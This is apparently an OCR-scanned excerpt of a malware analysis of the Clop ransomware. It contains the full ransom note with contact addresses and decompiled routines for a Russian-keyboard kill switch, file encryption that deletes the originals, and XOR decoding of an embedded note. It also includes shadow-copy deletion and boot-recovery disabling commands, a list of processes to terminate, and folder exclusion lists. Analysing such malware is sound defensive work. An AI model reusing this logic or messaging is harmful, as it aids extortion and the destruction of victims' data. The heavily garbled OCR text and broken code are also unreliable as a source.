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—-_—Your networks has been penetrated*_—

All files on each host in the networks have been encrypted with a strong algorithm.

Backups were either encrypted or deleted or backup disks were formatted.

Shadow copies also remowved, so F-B8 or any other methods may dawage encrypted data but not recover.
We exclusively have decryption software for your situation.

! !No DECRYPTION software is AVAILABLE in the PUBLIC!!!

#%% DO NOT DELETE readwe files.

#%% DO NOT RENAME OR MCVE the encrypted and readme files.

*#% DO NOT RESET OR SHUTDOWN - files may be damaged.

THIS MAY LEAD TO THE IMPOISIBILITY OF RECOVERY OF THE CERTAIN FILES=
ALL REFAIR TOOLS ARE USELESS AND CAN DESTROY YOUR FILES IRREVERSIBLY:
If you want to restore your files write to email!

[CONTACTS ARE AT THE BOTTOM OF THE SHEET] and attach 3-4 encrypted files!!!

[Less than 5 Mb each, non-archived and your files should not contain valusble information.
[Databases, large excel sheets, backups ete.]]

*#*%¥¥pu will receive decrypted sawples and our conditions how to get the decoder s+

TEFATTENTION®**

--—-YOUR WARRANTY DECRYPTED SAMPLES---

!'11DO NOT TRY TO DECRYPT YOUR DATA USING THIRD PARTY SOFTWARE!!!
!''"IWE DONT NEED YOUR FILES AND YOUR INFORMATION!!!

CONTACTS E-MAIL:
purrapennsanfprotommail.com
AND

unlockfegaltech. su

VUTATTENTICN! ! !
In the letter, type vour cowpany nawe and site.

===The final price depends on how fast you write to us.===
*_*Nothing personal just business* * CLOP*_—
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if ( sub_ ABEBAB() ) [/ Check KeyboardlLayout
{
vl = GetDC(B);
if ( GetTextCharset(wv4) == 284 ) // russian charset
{
sub_48E126(); [/ delete
TerminateProcess(BxFFFFFFFF, 8);
¥
¥
ServiceStartTable.lpServicelame = L"ProcessNetworkSecurity”;
ServiceStartTable.lpServiceProc = sub ABE1FB; [/ start ransomware
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Armenian Kazakh Tajik
Azerbaijani Kyrgyz Turkmen
Belarusian Russian Ukrainian
Georgian Swahili Uzbek
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clearsystems-10-1.bat =

oft
Delete
resize
resize
resize
resize
resize
resize
resize
resize
resize
resize
resize
resize
Delete

shadowstorage
shadowstorage
shadowstorage
shadowstorage
shadowstorage
shadowstorage
shadowstorage
shadowstorage
shadowstorage
shadowstorage
shadowstorage
shadowstorage

AT A AE

Shadows /all /quiet
=g

=g:
=h:
=h:
Shadows fall /quiet
{default} recoveryenabled No

{default} bootstatuspolicy ignoreallfailures

: /maxsize=401MB
/maxsize=unbounded
/maxsize=401MB
/maxsize=unbounded

=unbounded
=401MB
/maxsize=unbounded
[/maxsize=401MB
: /maxsize=unbounded
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zoolz.exe thebatb4.exe outlook.exe mspub.exe
mysqld-nt.exe ensv.exe wordpad.exe sglbrowser.exe
syntime.exe ossd.exe isqlplussv.exe NTAoSMgr.exe
agntsv.exe thunderbird.exe powerpnt.exe mydesktopqos.exe

mysqld-opt.exe

exel.exe

xfssvon.exe

sqlservr.exe

tbirdonfig.exe

onenote.exe

msaess.exe

Ntrtsan.exe

dbeng50.exe

visio.exe

sqboreservie.exe my

desktopservie.exe

oautoupds.exe

firefoxonfig.exe

tmlisten.exe

sqlwriter.exe

thebat.exe orale.exe msftesql.exe mbamtray.exe
dbsnmp.exe winword.exe sglagent.exe mysqld.exe
oomm.exe infopath.exe PNTMon.exe steam.exe

o d=stof] Qs EH % 54 A2 dost 5HA] A=F AX sty 53] I

HHAIALY] EH = xotE o] SlE
Hel E6E Hel otdd

Chrome All Users ClopReadMe.txt AUTOEXEC.BAT dll

Mozilla ProgramData ntldr autoexec.bat DLL

Recycle.bin Program Files (x86) NTLDR .Clop .exe

Microsoft PROGRAM FILES (X86) boot.ini NTDETECT.COM .EXE
AhnLab Program Files BOOT.INI ntdetect.com .Sys

Windows PROGRAM FILES ntuser.ini Desktop SYS

NTUSER.INI DESKTOP .OCX
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return 8;

ReadFile(h file v2, memoey w3, w1, &NumberOfBytesRead, @);// read orignal file

CloseHandle(h_file v2);

DeleteFileW(&FileNama); // del_ orignai file

encrypt_key_v4 = VirtualAlloc(®, @x75u, ©x3000u, 4u);

memset(encrypt_key vd, @, Bx75u);

lpAddress = VirtualAlloc(®, 0x12Cu, 0x3000u, 4u);// new_mem

lpBaseAddress = @;

sub_40DD6@(&1pAddress, &lpBaselddress);

memmove(encrypt_key v4, lpAddress, @x75u);

if ( !*encrypt_key v4 && lencrypt key v4[1] && lencrypt_key v4[2] && lencrypt_key v4[3] && l!encrypt_key v4[5] )
memmove(encrypt_key vi, dword_4187B8, @x75u);

sub_4@DE48();

v5 = CreateFileW(&Newrilelame, @x40000000u, 2u, ©, 2u, ©x80u, 0);

NumberOfByteskritten = @;

hFile = v5;

WiriteFile(vS, memoey v3, nNumberOfBytesToWrite, &NumberOfByteskWritten, @);// write Encrypted data
SetFilePointer(vs, @, 0, 2u);

WriteFile(hFile, "Clop* -", 7u, SNumberOfByteskritten, @);// write Clop* -

nhumberOfBytesTolrite = @;

SetFilePointer(hFile, @, @, 2u);

v6 = sub_40DBAR(&nHumberOfBytesTolrite, encrypt_k
WriteFile(hFile, v6, nNumberOfBytesTokrite, &hNu
SetFilePointer(WriteFile, @, @, 2u);
GlobalFree(hMem[@]);
VirtualFree(encrypt_key vd, O, 0x8008u);

vd, &v38);// public_key
er0fByteskritten, 8);// write Encrypt_public_key(encrypted_key)
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SetErrorMode(1u);
wsprintfW(&FileName, L"%s\\ClopReadMe.txt™, vl1);
w2 = CreateFileW(&FilelName, Ox86600066, 1u, &, 3u
if ( v2 1= -1 )

return CloseHandle(v2);
vd = GetModuleHandleW(©) ;

vh = wd,

vE = FindResourceW(vd, 8xB2e7, L"OFFNESTOP™);
wvi = wb;

v8 = LoadResource(vS, w&);

v3 = LockResource(v8);

vl® = SizeofResource(vS, v7);

nilumberOfBytesTolWrite = wl@;
wvll = GlobalAlloc(@xd4Bu, wvi1@);
memmove (w11, w9, wl@);
vl? = w16,
wl3d = 8;
it { wi2 )
i
do
i
=(vwll + v13) "= byte A15AFB[v13 ¥ Ox42];
+vl3;
ks
while ({ w13 < w12 };
b
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lstrcpyW(&5Stringl, lpThreadParameter + 687); // file name
lstrcpyW(8&v34, 1pThreadParameter + 175); // path
*hMem = *(1pThreadParameter + 388);
w28 = 8;
SetErrorMode(1u);
wsprintfW(&FileName, L"%s¥s", &34, &Stringl);
SetFileAttributesk(&Filelame, @x26u);
if ( StrStri(&Stringl, &Srch) )

return 8;
wsprintfl(&NewFilelame, L"¥s%s.Clop"”, &v34, &Stringl);
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